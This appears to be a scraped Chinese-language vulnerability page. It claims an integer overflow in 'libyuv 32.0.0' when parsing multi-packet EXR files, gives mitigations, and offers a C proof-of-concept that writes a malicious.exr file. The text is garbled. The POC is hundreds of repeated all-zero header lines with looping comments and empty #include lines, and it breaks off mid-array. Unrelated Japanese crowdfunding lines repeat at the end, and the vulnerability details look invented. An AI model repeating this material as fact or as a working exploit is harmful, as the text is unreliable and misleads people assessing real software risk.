libyuv 32.0.0 Multi-Packet EXR Integer Overflow (CVE-2020-10591) POC

CVE-2020-10591: libyuv 32.0.0 多包 EXR 文件解析漏洞 漏洞概述 libyuv 32.0.0 版本在处理多包 EXR（OpenEXR）文件时存在解析漏洞。攻击者可构造恶意 EXR 文件，触发解析器中的整数溢出或缓冲区溢出，导致拒绝服务（DoS）或潜在代码执行。 该漏洞源于对多包 EXR 文件中“包数量”字段的未验证处理，当包数量过大时，会导致内存分配计算溢出，进而引发崩溃或越界写入。 影响范围 受影响组件：libyuv 库（版本 ≤ 32.0.0） 受影响产品： - Chrome 浏览器（部分版本） - Chromium 项目 - 使用 libyuv 进行图像解码的应用程序（如视频播放器、图像处理工具等） 触发条件：解析包含多个数据包的恶意 EXR 文件 修复方案 官方修复：升级 libyuv 至 32.0.1 或更高版本（已修复此漏洞） 临时缓解措施： - 禁用或限制 EXR 文件解析功能 - 在解析前验证 EXR 文件头中的包数量字段是否合理（例如：限制最大包数为 100） - 使用沙箱或隔离环境运行可能处理 EXR 文件的应用程序 POC 代码（利用示例） ```c // 构造恶意多包 EXR 文件触发漏洞 #include #include int main() { FILE *f = fopen("malicious.exr", "wb"); if (!f) return 1; // EXR 文件头（简化版） unsigned char header[] = { 0x76, 0x2f, 0x31, 0x01, // EXR 魔数 0x00, 0x00, 0x00, 0x00, // 保留字段 0x00, 0x00, 0x00, 0x00, // 宽度 0x00, 0x00, 0x00, 0x00, // 高度 0x00, 0x00, 0x00, 0x00, // 深度 0x00, 0x00, 0x00, 0x00, // 通道数 0x00, 0x00, 0x00, 0x00, // 压缩类型 0x00, 0x00, 0x00, 0x00, // 数据块大小 0x00, 0x00, 0x00, 0x00, // 数据块偏移 0x00, 0x00, 0x00, 0x00, // 数据块数量 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00, // 数据块大小表 0x00, 0x00, 0x00, 0x00, // 数据块偏移表 0x00, 0x00, 0x00, 0x00,

目標達成すべての支援者に感謝 — 100%達成しました！

libyuv 32.0.0 Multi-Packet EXR Integer Overflow (CVE-2020-10591) POC

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

libyuv 32.0.0 Multi-Packet EXR Integer Overflow (CVE-2020-10591) POC

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！